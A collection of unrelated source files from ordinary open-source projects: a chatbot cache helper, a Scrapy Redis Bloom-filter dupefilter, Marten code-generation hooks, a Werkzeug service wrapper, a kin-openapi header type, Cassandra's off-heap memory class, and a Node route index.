        const { trigger, end, options } = data.currentStep;
        const { id } = data.currentStep;

        if (options) {
          delete data.currentStep.rendered;
        }

        // add trigger function to current step
        if (!trigger && !end) {
          if (options) {
            for (let i = 0; i < options.length; i += 1) {
              data.currentStep.options[i].trigger = steps[id].options[i].trigger;
            }
          } else {
            data.currentStep.trigger = steps[id].trigger;
          }
        }

        // execute callback function to enable input if last step is
        // waiting user type
        if (data.currentStep.user) {
          callback();
        }

        return data;
      }
    } catch (error) {
      console.info(`Unable to parse cache named:${cacheName}. \nThe cache where probably created with an older version of react-simple-chatbot.\n`, error);
    }
  }

  return {
    currentStep,
    previousStep,
    previousSteps,
    renderedSteps
  };
};

/* istanbul ignore next */
const setData = (cacheName, cachedData) => {
  const data = parse(stringify(cachedData));
  // clean components
  for (const key in data) {
    for (let i = 0, len = data[key].length; i < len; i += 1) {
      if (data[key][i].component) {
        data[key][i].component = data[key][i].id;
      }
    }
  }

  localStorage.setItem(cacheName, stringify(data));
};

export { getData, setData };


text:
import logging
import time
import pdb
from .BloomfilterOnRedis import BloomFilter
from scrapy.dupefilters import BaseDupeFilter
from scrapy.utils.request import request_fingerprint

from . import defaults
from .connection import get_redis_from_settings

logger = logging.getLogger(__name__)

# TODO: Rename class to RedisDupeFilter.
class RFPDupeFilter(BaseDupeFilter):
    """Redis-based request duplicates filter.

    This class can also be used with default Scrapy's scheduler.

    """

    logger = logger

    def __init__(self, server, key, debug=False):
        """Initialize the duplicates filter.

        Parameters
        ----------
        server : redis.StrictRedis
            The redis server instance.
        key : str
            Redis key Where to store fingerprints.
        debug : bool, optional
            Whether to log filtered requests.

        """
        self.server = server
        self.key = key
        self.debug = debug
        self.bf = BloomFilter(server, key, blockNum=1)  # you can increase blockNum if your are filtering too many urls
        self.logdupes = True

    @classmethod
    def from_settings(cls, settings):
        """Returns an instance from given settings.

        This uses by default the key ``dupefilter:<timestamp>``. When using the
        ``scrapy_redis.scheduler.Scheduler`` class, this method is not used as
        it needs to pass the spider name in the key.

        Parameters
        ----------
        settings : scrapy.settings.Settings

        Returns
        -------
        RFPDupeFilter
            A RFPDupeFilter instance.

        """
        server = get_redis_from_settings(settings)
        # XXX: This creates one-time key. needed to support to use this
        # class as standalone dupefilter with scrapy's default scheduler
        # if scrapy passes spider on open() method this wouldn't be needed
        # TODO: Use SCRAPY_JOB env as default and fallback to timestamp.
        key = defaults.DUPEFILTER_KEY % {'timestamp': int(time.time())}
        debug = settings.getbool('DUPEFILTER_DEBUG')
        return cls(server, key=key, debug=debug)

    @classmethod
    def from_crawler(cls, crawler):
        """Returns instance from crawler.

        Parameters
        ----------
        crawler : scrapy.crawler.Crawler

        Returns
        -------
        RFPDupeFilter
            Instance of RFPDupeFilter.

        """
        return cls.from_settings(crawler.settings)

    def request_seen(self, request):
        """Returns True if request was already seen.

        Parameters
        ----------
        request : scrapy.http.Request

        Returns
        -------
        bool

        """
        fp = request_fingerprint(request)
        if self.bf.isContains(fp):
            return True
        else:
            self.bf.insert(fp)
            return False

    def request_fingerprint(self, request):
        """Returns a fingerprint for a given request.

        Parameters
        ----------
        request : scrapy.http.Request

        Returns
        -------
        str

        """
        return request_fingerprint(request)

    def close(self, reason=''):
        """Delete data on close. Called by Scrapy's scheduler.

        Parameters
        ----------
        reason : str, optional

        """
        self.clear()

    def clear(self):
        """Clears fingerprints data."""
        self.server.delete(self.key)

    def log(self, request, spider):
        """Logs given request.

        Parameters
        ----------
        request : scrapy.http.Request
        spider : scrapy.spiders.Spider

        """
        if self.debug:
            msg = "Filtered duplicate request: %(request)s"
            self.logger.debug(msg, {'request': request}, extra={'spider': spider})
        elif self.logdupes:
            msg = ("Filtered duplicate request %(request)s"
                   " - no more duplicates will be shown"
                   " (see DUPEFILTER_DEBUG to show all duplicates)")
            self.logger.debug(msg, {'request': request}, extra={'spider': spider})
            self.logdupes = False


text:
using System;
using System.Linq;
using System.Reflection;
using System.Threading.Tasks;
using Baseline;
using Baseline.ImTools;
using LamarCodeGeneration;
using LamarCodeGeneration.Model;
using Marten.Internal.CodeGeneration;
using Marten.Internal.CompiledQueries;
using Marten.Internal.Sessions;
using Marten.Schema;
using Marten.Services;
using Marten.Storage;

namespace Marten
{
    public partial class StoreOptions : IGeneratesCode
    {

        public IServiceVariableSource AssemblyTypes(GenerationRules rules, GeneratedAssembly assembly)
        {
            // This is important to ensure that all the possible DocumentMappings exist
            // first
            Storage.BuildAllMappings();
            foreach (var mapping in Storage.AllDocumentMappings)
            {
                var builder = new DocumentPersistenceBuilder(mapping, this);
                builder.AssemblyTypes(assembly);
            }

            if (_compiledQueryTypes.Any())
            {
                using var session = new LightweightSession(this);
                foreach (var compiledQueryType in _compiledQueryTypes)
                {
                    var plan = QueryCompiler.BuildPlan(session, compiledQueryType, this);
                    var builder = new CompiledQuerySourceBuilder(plan, this);
                    builder.AssemblyType(assembly);
                }
            }

            return null;
        }

        public Task AttachPreBuiltTypes(GenerationRules rules, Assembly assembly, IServiceProvider services)
        {
            foreach (var mapping in Storage.AllDocumentMappings)
            {
                var builder = typeof(ProviderBuilder<>).CloseAndBuildAs<IProviderBuilder>(mapping.DocumentType);
                builder.BuildAndStore(assembly, mapping, this);
            }

            if (_compiledQueryTypes.Any())
            {
                using var session = new LightweightSession(this);
                foreach (var compiledQueryType in _compiledQueryTypes)
                {
                    var plan = QueryCompiler.BuildPlan(session, compiledQueryType, this);
                    var builder = new CompiledQuerySourceBuilder(plan, this);
                    var source = builder.CreateFromPreBuiltType(assembly);

                    if (source == null)
                    {
                        Console.WriteLine("Could not find a pre-built compiled query source type for compiled query type " + compiledQueryType.FullNameInCode());
                    }
                    else
                    {
                        _querySources = _querySources.AddOrUpdate(compiledQueryType, source);
                    }
                }
            }

            return Task.CompletedTask;
        }

        private interface IProviderBuilder
        {
            void BuildAndStore(Assembly assembly, DocumentMapping mapping, StoreOptions options);
        }

        private class ProviderBuilder<T> : IProviderBuilder
        {
            public void BuildAndStore(Assembly assembly, DocumentMapping mapping, StoreOptions options)
            {
                try
                {
                    var provider = DocumentPersistenceBuilder.FromPreBuiltTypes<T>(assembly, mapping);
                    options.Providers.Append(provider);
                }
                catch (Exception)
                {
                    Console.WriteLine("Unable to use pre-built type for " + typeof(T).FullNameInCode());
                }
            }
        }

        public Task AttachGeneratedTypes(GenerationRules rules, IServiceProvider services)
        {
            return Task.CompletedTask;
        }

        public string CodeType => "DocumentStorage";
    }
}


text:
__author__ = 'Yves Bonjour'

import json
from werkzeug.exceptions import HTTPException
import werkzeug.serving
from werkzeug.wsgi import SharedDataMiddleware
from werkzeug.wrappers import Request, Response

class WerkzeugService(object):

    def __init__(self, server, port, url_map, static_folders=None, debug=True):
        self.url_map = url_map
        self.server = server
        self.port = port
        self.static_folders = static_folders
        self.debug = debug

    def dispatch_request(self, request):
        adapter = self.url_map.bind_to_environ(request.environ)
        try:
            endpoint, values = adapter.match()
            return getattr(self, 'on_' + endpoint)(request, **values)
        except HTTPException, e:
            return e

    def wsgi_app(self, environ, start_response):
        request = Request(environ)
        response = self.dispatch_request(request)
        return response(environ, start_response)

    def __call__(self, environ, start_response):
        return self.wsgi_app(environ, start_response)

    def run(self):
        if self.static_folders:
            self.wsgi_app = SharedDataMiddleware(self.wsgi_app, self.static_folders)
        werkzeug.serving.run_simple(self.server, self.port, self, use_debugger=self.debug, use_reloader=self.debug)

def create_status_ok_response():
    return create_json_response({"status": "ok"})

def create_status_error_response(message, status_code=500):
    return create_json_response({"status": "error", "message": message}, status_code)

def create_json_response(obj, status_code=200):
    return Response(json.dumps(obj), mimetype="application/json", status=status_code)


text:
package openapi3

import (
	"context"
	"errors"
	"fmt"

	"github.com/go-openapi/jsonpointer"

	"github.com/getkin/kin-openapi/jsoninfo"
)

type Headers map[string]*HeaderRef

var _ jsonpointer.JSONPointable = (*Headers)(nil)

// JSONLookup implements github.com/go-openapi/jsonpointer#JSONPointable
func (h Headers) JSONLookup(token string) (interface{}, error) {
	ref, ok := h[token]
	if ref == nil || !ok {
		return nil, fmt.Errorf("object has no field %q", token)
	}

	if ref.Ref != "" {
		return &Ref{Ref: ref.Ref}, nil
	}
	return ref.Value, nil
}

// Header is specified by OpenAPI/Swagger 3.0 standard.
// See https://github.com/OAI/OpenAPI-Specification/blob/main/versions/3.0.3.md#headerObject
type Header struct {
	Parameter
}

var _ jsonpointer.JSONPointable = (*Header)(nil)

// UnmarshalJSON sets Header to a copy of data.
func (header *Header) UnmarshalJSON(data []byte) error {
	return jsoninfo.UnmarshalStrictStruct(data, header)
}

// SerializationMethod returns a header's serialization method.
func (header *Header) SerializationMethod() (*SerializationMethod, error) {
	style := header.Style
	if style == "" {
		style = SerializationSimple
	}
	explode := false
	if header.Explode != nil {
		explode = *header.Explode
	}
	return &SerializationMethod{Style: style, Explode: explode}, nil
}

// Validate returns an error if Header does not comply with the OpenAPI spec.
func (header *Header) Validate(ctx context.Context) error {
	if header.Name != "" {
		return errors.New("header 'name' MUST NOT be specified, it is given in the corresponding headers map")
	}
	if header.In != "" {
		return errors.New("header 'in' MUST NOT be specified, it is implicitly in header")
	}

	// Validate a parameter's serialization method.
	sm, err := header.SerializationMethod()
	if err != nil {
		return err
	}
	if smSupported := false ||
		sm.Style == SerializationSimple && !sm.Explode ||
		sm.Style == SerializationSimple && sm.Explode; !smSupported {
		e := fmt.Errorf("serialization method with style=%q and explode=%v is not supported by a header parameter", sm.Style, sm.Explode)
		return fmt.Errorf("header schema is invalid: %w", e)
	}

	if (header.Schema == nil) == (header.Content == nil) {
		e := fmt.Errorf("parameter must contain exactly one of content and schema: %v", header)
		return fmt.Errorf("header schema is invalid: %w", e)
	}
	if schema := header.Schema; schema != nil {
		if err := schema.Validate(ctx); err != nil {
			return fmt.Errorf("header schema is invalid: %w", err)
		}
	}

	if content := header.Content; content != nil {
		if err := content.Validate(ctx); err != nil {
			return fmt.Errorf("header content is invalid: %w", err)
		}
	}
	return nil
}

// JSONLookup implements github.com/go-openapi/jsonpointer#JSONPointable
func (header Header) JSONLookup(token string) (interface{}, error) {
	switch token {
	case "schema":
		if header.Schema != nil {
			if header.Schema.Ref != "" {
				return &Ref{Ref: header.Schema.Ref}, nil
			}
			return header.Schema.Value, nil
		}
	case "name":
		return header.Name, nil
	case "in":
		return header.In, nil
	case "description":
		return header.Description, nil
	case "style":
		return header.Style, nil
	case "explode":
		return header.Explode, nil
	case "allowEmptyValue":
		return header.AllowEmptyValue, nil
	case "allowReserved":
		return header.AllowReserved, nil
	case "deprecated":
		return header.Deprecated, nil
	case "required":
		return header.Required, nil
	case "example":
		return header.Example, nil
	case "examples":
		return header.Examples, nil
	case "content":
		return header.Content, nil
	}

	v, _, err := jsonpointer.GetForToken(header.ExtensionProps, token)
	return v, err
}


text:
package org.apache.cassandra.io.util;

import sun.misc.Unsafe;

import org.apache.cassandra.config.DatabaseDescriptor;

/**
 * An off-heap region of memory that must be manually free'd when no longer needed.
 */
public class Memory
{
    private static final Unsafe unsafe = NativeAllocator.unsafe;
    private static final IAllocator allocator = DatabaseDescriptor.getoffHeapMemoryAllocator();

    protected long peer;
    // size of the memory region
    private final long size;

    protected Memory(long bytes)
    {
        size = bytes;
        peer = allocator.allocate(size);
    }

    public static Memory allocate(long bytes)
    {
        if (bytes < 0)
            throw new IllegalArgumentException();

        return new Memory(bytes);
    }

    public void setByte(long offset, byte b)
    {
        checkPosition(offset);
        unsafe.putByte(peer + offset, b);
    }

    public void setMemory(long offset, long bytes, byte b)
    {
        // check if the last element will fit into the memory
        checkPosition(offset + bytes - 1);
        unsafe.setMemory(peer + offset, bytes, b);
    }

    public void setLong(long offset, long l)
    {
        checkPosition(offset);
        unsafe.putLong(peer + offset, l);
    }

    /**
     * Transfers count bytes from buffer to Memory
     *
     * @param memoryOffset start offset in the memory
     * @param buffer the data buffer
     * @param bufferOffset start offset of the buffer
     * @param count number of bytes to transfer
     */
    public void setBytes(long memoryOffset, byte[] buffer, int bufferOffset, int count)
    {
        if (buffer == null)
            throw new NullPointerException();
        else if (bufferOffset < 0
                 || count < 0
                 || bufferOffset + count > buffer.length)
            throw new IndexOutOfBoundsException();
        else if (count == 0)
            return;

        checkPosition(memoryOffset);
        long end = memoryOffset + count;
        checkPosition(end - 1);
        while (memoryOffset < end)
            unsafe.putByte(peer + memoryOffset++, buffer[bufferOffset++]);
    }

    public byte getByte(long offset)
    {
        checkPosition(offset);
        return unsafe.getByte(peer + offset);
    }

    public long getLong(long offset)
    {
        checkPosition(offset);
        return unsafe.getLong(peer + offset);
    }

    /**
     * Transfers count bytes from Memory starting at memoryOffset to buffer starting at bufferOffset
     *
     * @param memoryOffset start offset in the memory
     * @param buffer the data buffer
     * @param bufferOffset start offset of the buffer
     * @param count number of bytes to transfer
     */
    public void getBytes(long memoryOffset, byte[] buffer, int bufferOffset, int count)
    {
        if (buffer == null)
            throw new NullPointerException();
        else if (bufferOffset < 0 || count < 0 || count > buffer.length - bufferOffset)
            throw new IndexOutOfBoundsException();
        else if (count == 0)
            return;

        checkPosition(memoryOffset);
        long end = memoryOffset + count;
        checkPosition(end - 1);
        while (memoryOffset < end)
            buffer[bufferOffset++] = unsafe.getByte(peer + memoryOffset++);
    }

    private void checkPosition(long offset)
    {
        assert peer != 0 : "Memory was freed";
        assert offset >= 0 && offset < size : "Illegal offset: " + offset + ", size: " + size;
    }

    public void free()
    {
        assert peer != 0;
        allocator.free(peer);
        peer = 0;
    }

    public long size()
    {
        return size;
    }

    @Override
    public boolean equals(Object o)
    {
        if (this == o)
            return true;
        if (!(o instanceof Memory))
            return false;
        Memory b = (Memory) o;
        if (peer == b.peer && size == b.size)
            return true;
        return false;
    }
}


text:
var websiteOperations = require('./website-operations.js');

module.exports = exports = {
	login: require('./login.js'),
	logout: require('./logout.js'),
	home: require('./home.js'),
	website: require('./website.js'),
	config: require('./config.js'),

	websiteStart: websiteOperations.start,
	websiteRestart: websiteOperations.restart,
	websiteStop: websiteOperations.stop
};